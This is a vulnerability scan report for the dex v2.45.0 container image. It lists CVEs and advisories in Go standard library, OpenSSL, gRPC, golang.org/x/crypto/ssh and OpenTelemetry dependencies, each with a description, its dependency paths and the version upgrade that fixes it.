Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity.

Go Vulnerability Report:

When verifying a certificate chain containing excluded DNS constraints, these constraints are not correctly applied to wildcard DNS SANs which use a different case than the constraint. This only affects validation of otherwise trusted certificate chains, issued by a root CA in the VerifyOptions.Roots CertPool, or in the system certificate pool.

Remediation

Upgrade std/crypto/x509 to version 1.26.2 or higher.

References


Uncaught Exception

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/dexidp/dex › /usr/local/bin/docker-entrypoint
  • Package Manager: golang
  • Vulnerable module: stdlib
  • Introduced through: github.com/dexidp/dex@* and stdlib@1.26.0

Detailed paths

  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0
  • Introduced through: github.com/dexidp/dex@* › stdlib@1.26.0

Overview

std/net is a Go standard library package std/net

Affected versions of this package are vulnerable to Uncaught Exception.

Go Vulnerability Report:
Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.

Remediation

Upgrade std/net to version 1.26.6, 1.27.0-rc.3 or higher.

References


CVE-2026-28390

high severity
Exploit: Not Defined

  • Package Manager: alpine:3.23
  • Vulnerable module: openssl/libcrypto3
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

Detailed paths

  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

NVD Description

Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

Issue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen.

Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service.

When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing.

Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

Remediation

Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.

References


CVE-2026-28388

high severity
Exploit: Not Defined

  • Package Manager: alpine:3.23
  • Vulnerable module: openssl/libcrypto3
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

Detailed paths

  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

NVD Description

Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

Issue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing.

Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application.

When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference.

Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it.

The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

Remediation

Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.

References


CVE-2026-28389

high severity
Exploit: Not Defined

  • Package Manager: alpine:3.23
  • Vulnerable module: openssl/libcrypto3
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

Detailed paths

  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

NVD Description

Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

Issue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen.

Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service.

When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing.

Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

Remediation

Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.

References


CVE-2026-28387

high severity
Exploit: Not Defined

  • Package Manager: alpine:3.23
  • Vulnerable module: openssl/libcrypto3
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

Detailed paths

  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
  • Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

NVD Description

Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

Issue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side.

Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code.

However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage.

By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable.

The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records.

No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.

Remediation

Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.

References


Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: google.golang.org/grpc/mem
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and google.golang.org/grpc/mem@v1.77.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › google.golang.org/grpc/mem@v1.77.0
  • Introduced through: github.com/dexidp/dex@* › google.golang.org/grpc/mem@v1.79.1

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the HTTP/2 DATA frame receive buffer handling, where each received fragment incurs per-fragment tracking and queue allocation overhead even while staying within the configured flow-control windows. An attacker can drive the process to an OutOfMemory condition or a runtime panic by opening gRPC streams and fragmenting payloads into millions of tiny HTTP/2 DATA frames, such as 1 byte each, across many concurrent multiplexed streams. This requires only the ability to establish gRPC stream connections to the server.

Remediation

Upgrade google.golang.org/grpc/mem to version 1.83.1 or higher.

References


Uncaught Exception

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: google.golang.org/grpc/internal/xds/server
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and google.golang.org/grpc/internal/xds/server@v1.77.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › google.golang.org/grpc/internal/xds/server@v1.77.0

Overview

Affected versions of this package are vulnerable to Uncaught Exception through the HTTP/2 header processing path in internal/transport/http2_server.go and internal/xds/server/routing.go. An attacker can crash the server by sending a gRPC request that omits both the :authority and Host headers. In xds.NewGRPCServer() deployments, that malformed request reaches the xDS routing interceptor, which expects an authority value and then indexes into an empty header slice. The resulting panic terminates the server process, causing a complete outage for clients connected to that gRPC server.

Remediation

Upgrade google.golang.org/grpc/internal/xds/server to version 1.82.2, 1.83.2 or higher.

References


Incorrect Authorization

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: google.golang.org/grpc/internal/xds/rbac
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and google.golang.org/grpc/internal/xds/rbac@v1.77.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › google.golang.org/grpc/internal/xds/rbac@v1.77.0

Overview

Affected versions of this package are vulnerable to Incorrect Authorization in the processing of xDS RBAC policies and HTTP/2 transport handling. An attacker can gain unauthorized access to protected services or cause denial of service by exploiting improper handling of unsupported fields in policy matchers, bypassing rapid reset mitigations, or triggering server panics through crafted policy updates.

Note: This advisory refers to several vulnerabilities as aggregated by the maintainer. For an exact breakdown and affected code, see the Maintainer's referenced advisory and commit.

Workaround

This vulnerability can be mitigated by ensuring xDS management servers do not push RBAC policies with unsupported fields or NOT rules wrapping unhandled fields, and by configuring upstream reverse proxies or load balancers with strict HTTP/2 max_concurrent_streams limits and active rate limiting on RST_STREAM frequency per connection.

Remediation

Upgrade google.golang.org/grpc/internal/xds/rbac to version 1.82.1 or higher.

References


Incorrect Authorization

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: google.golang.org/grpc/internal/transport
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and google.golang.org/grpc/internal/transport@v1.77.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › google.golang.org/grpc/internal/transport@v1.77.0
  • Introduced through: github.com/dexidp/dex@* › google.golang.org/grpc/internal/transport@v1.79.1

Overview

Affected versions of this package are vulnerable to Incorrect Authorization in the processing of xDS RBAC policies and HTTP/2 transport handling. An attacker can gain unauthorized access to protected services or cause denial of service by exploiting improper handling of unsupported fields in policy matchers, bypassing rapid reset mitigations, or triggering server panics through crafted policy updates.

Note: This advisory refers to several vulnerabilities as aggregated by the maintainer. For an exact breakdown and affected code, see the Maintainer's referenced advisory and commit.

Workaround

This vulnerability can be mitigated by ensuring xDS management servers do not push RBAC policies with unsupported fields or NOT rules wrapping unhandled fields, and by configuring upstream reverse proxies or load balancers with strict HTTP/2 max_concurrent_streams limits and active rate limiting on RST_STREAM frequency per connection.

Remediation

Upgrade google.golang.org/grpc/internal/transport to version 1.82.1 or higher.

References


Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: google.golang.org/grpc/internal/transport
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and google.golang.org/grpc/internal/transport@v1.77.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › google.golang.org/grpc/internal/transport@v1.77.0
  • Introduced through: github.com/dexidp/dex@* › google.golang.org/grpc/internal/transport@v1.79.1

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the HTTP/2 DATA frame receive buffer handling, where each received fragment incurs per-fragment tracking and queue allocation overhead even while staying within the configured flow-control windows. An attacker can drive the process to an OutOfMemory condition or a runtime panic by opening gRPC streams and fragmenting payloads into millions of tiny HTTP/2 DATA frames, such as 1 byte each, across many concurrent multiplexed streams. This requires only the ability to establish gRPC stream connections to the server.

Remediation

Upgrade google.golang.org/grpc/internal/transport to version 1.83.1 or higher.

References


Uncaught Exception

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: google.golang.org/grpc/internal/transport
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and google.golang.org/grpc/internal/transport@v1.77.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › google.golang.org/grpc/internal/transport@v1.77.0
  • Introduced through: github.com/dexidp/dex@* › google.golang.org/grpc/internal/transport@v1.79.1

Overview

Affected versions of this package are vulnerable to Uncaught Exception through the HTTP/2 header processing path in internal/transport/http2_server.go and internal/xds/server/routing.go. An attacker can crash the server by sending a gRPC request that omits both the :authority and Host headers. In xds.NewGRPCServer() deployments, that malformed request reaches the xDS routing interceptor, which expects an authority value and then indexes into an empty header slice. The resulting panic terminates the server process, causing a complete outage for clients connected to that gRPC server.

Remediation

Upgrade google.golang.org/grpc/internal/transport to version 1.82.2, 1.83.2 or higher.

References


Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: google.golang.org/grpc/internal/envconfig
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and google.golang.org/grpc/internal/envconfig@v1.77.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › google.golang.org/grpc/internal/envconfig@v1.77.0
  • Introduced through: github.com/dexidp/dex@* › google.golang.org/grpc/internal/envconfig@v1.79.1

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the HTTP/2 DATA frame receive buffer handling, where each received fragment incurs per-fragment tracking and queue allocation overhead even while staying within the configured flow-control windows. An attacker can drive the process to an OutOfMemory condition or a runtime panic by opening gRPC streams and fragmenting payloads into millions of tiny HTTP/2 DATA frames, such as 1 byte each, across many concurrent multiplexed streams. This requires only the ability to establish gRPC stream connections to the server.

Remediation

Upgrade google.golang.org/grpc/internal/envconfig to version 1.83.1 or higher.

References


Infinite loop

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: golang.org/x/net/http2
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/net/http2@v0.48.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/net/http2@v0.48.0
  • Introduced through: github.com/dexidp/dex@* › golang.org/x/net/http2@v0.50.0

Overview

golang.org/x/net/http2 is a work-in-progress HTTP/2 implementation for Go.

Affected versions of this package are vulnerable to Infinite loop.

Go Vulnerability Report:

When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.

Remediation

Upgrade golang.org/x/net/http2 to version 0.53.0 or higher.

References


Improper Check for Certificate Revocation

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: golang.org/x/crypto/ssh/knownhosts
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh/knownhosts@v0.47.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh/knownhosts@v0.47.0

Overview

Affected versions of this package are vulnerable to Improper Check for Certificate Revocation in the SignatureKey verification process. An attacker can bypass revocation enforcement by presenting a certificate with a revoked SignatureKey, potentially allowing unauthorized access or trust to be established.

Remediation

Upgrade golang.org/x/crypto/ssh/knownhosts to version 0.52.0 or higher.

References


Incorrect Type Conversion or Cast

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: golang.org/x/crypto/ssh/agent
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh/agent@v0.47.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh/agent@v0.47.0

Overview

Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast due to the improper handling of crafted input data in the ed25519.PrivateKey component. An attacker can cause the client to panic by supplying malformed wire bytes.

Remediation

Upgrade golang.org/x/crypto/ssh/agent to version 0.52.0 or higher.

References


Missing Release of Resource after Effective Lifetime

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: golang.org/x/crypto/ssh
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through the repeated opening of channels by an authenticated SSH client that are subsequently rejected by the server. An attacker can cause unbounded memory growth and crash the server process by continuously triggering channel rejections.

Remediation

Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.

References


Improper Authentication

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: golang.org/x/crypto/ssh
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Improper Authentication due to the Verify method not checking the User Presence flag in FIDO/U2F security key types. An attacker can perform unauthorized authentication by generating signatures without requiring physical interaction with the hardware security key.

Remediation

Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.

References


Incorrect Type Conversion or Cast

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: golang.org/x/crypto/ssh
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast due to an incorrectly placed cast from bytes to int in the AES-GCM packet decoder process. An attacker can cause a server-side panic by sending specially crafted inputs.

Remediation

Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.

References


Uncaught Exception

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: golang.org/x/crypto/ssh
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Uncaught Exception in the CertChecker component when used as a public key callback without setting IsUserAuthority or IsHostAuthority. An attacker can cause the server to panic by presenting a crafted certificate.

Note:

This is only exploitable if both IsUserAuthority and IsHostAuthority are not set in the server configuration.

Remediation

Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.

References


Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: golang.org/x/crypto/ssh
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in its connection multiplexing, reached through Dial, NewClientConn, NewControlClientConn, and NewServerConn, which buffers unhandled messages that fall outside the RFC 4254 channel and global-request handling instead of treating them as protocol errors. A malicious peer can deadlock the entire SSH connection by sending unexpected messages once a channel has been established. This requires a completed handshake and an open SSH channel with the attacker as the peer.

Remediation

Upgrade golang.org/x/crypto/ssh to version 0.56.0 or higher.

References


Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: golang.org/x/crypto/ssh
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the connection multiplexer's channel handling (the mux chanList), reached through Dial, NewClientConn, NewControlClientConn, and NewServerConn, where a channel that is registered but not yet established has its incomingRequests queue flooded without bound. A malicious peer can deadlock the entire SSH connection by flooding channel request packets for a channel before it becomes established. This requires the attacker to participate in an SSH connection with the victim over the library.

Remediation

Upgrade golang.org/x/crypto/ssh to version 0.56.0 or higher.

References


Untrusted Search Path

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: go.opentelemetry.io/otel/sdk/resource
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and go.opentelemetry.io/otel/sdk/resource@v1.39.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › go.opentelemetry.io/otel/sdk/resource@v1.39.0

Overview

Affected versions of this package are vulnerable to Untrusted Search Path in resource detection code which executes ioreg, when the PATH environment variable is modified to include a malicious executable. An attacker can execute arbitrary code within the context of the application by placing a malicious binary earlier in the search path.

Note: This vulnerability is only exploitable on MacOS/Darwin systems.

Remediation

Upgrade go.opentelemetry.io/otel/sdk/resource to version 1.40.0 or higher.

References


Untrusted Search Path

high severity
Exploit: Not Defined

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: go.opentelemetry.io/otel/sdk/resource
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and go.opentelemetry.io/otel/sdk/resource@v1.39.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › go.opentelemetry.io/otel/sdk/resource@v1.39.0

Overview

Affected versions of this package are vulnerable to Untrusted Search Path through the hostIDReaderBSD.read function in sdk/resource/host_id.go. An attacker can execute a malicious kenv binary by placing it earlier in $PATH and triggering host ID detection on BSD or Solaris systems when /etc/hostid is absent. When an application initializes OpenTelemetry resource detection under those conditions, it runs the attacker-controlled command in the application's context, allowing local code execution and compromising the process running the Go application.

Remediation

Upgrade go.opentelemetry.io/otel/sdk/resource to version 1.43.0 or higher.

References


Allocation of Resources Without Limits or Throttling

high severity
Exploit: Proof of Concept

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: go.opentelemetry.io/otel/propagation
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and go.opentelemetry.io/otel/propagation@v1.39.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › go.opentelemetry.io/otel/propagation@v1.39.0
  • Introduced through: github.com/dexidp/dex@* › go.opentelemetry.io/otel/propagation@v1.39.0

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the baggage header extraction process. An attacker can cause excessive CPU and memory allocations by sending numerous baggage header lines, even if each individual value remains within the allowed size limit.

Remediation

Upgrade go.opentelemetry.io/otel/propagation to version 1.41.0 or higher.

References


Allocation of Resources Without Limits or Throttling

high severity
Exploit: Proof of Concept

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
  • Package Manager: golang
  • Vulnerable module: go.opentelemetry.io/otel/internal/global
  • Introduced through: github.com/hairyhenderson/gomplate/v5@* and go.opentelemetry.io/otel/internal/global@v1.39.0

Detailed paths

  • Introduced through: github.com/hairyhenderson/gomplate/v5@* › go.opentelemetry.io/otel/internal/global@v1.39.0
  • Introduced through: github.com/dexidp/dex@* › go.opentelemetry.io/otel/internal/global@v1.39.0

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the baggage header extraction process. An attacker can cause excessive CPU and memory allocations by sending numerous baggage header lines, even if each individual value remains within the allowed size limit.

Remediation

Upgrade go.opentelemetry.io/otel/internal/global to version 1.41.0 or higher.

References


Improper Verification of Cryptographic Signature

high severity
Exploit: Proof of Concept

  • Manifest file: ghcr.io/dexidp/dex:v2.45.0/dexidp/dex › /usr/local/bin/dex
  • Package Manager: golang
  • Vulnerable module: github.com/russellhaering/goxmldsig
  • Introduced through: github.com/dexidp/dex@* and github.com/russellhaering/goxmldsig@v1.5.0

Detailed paths

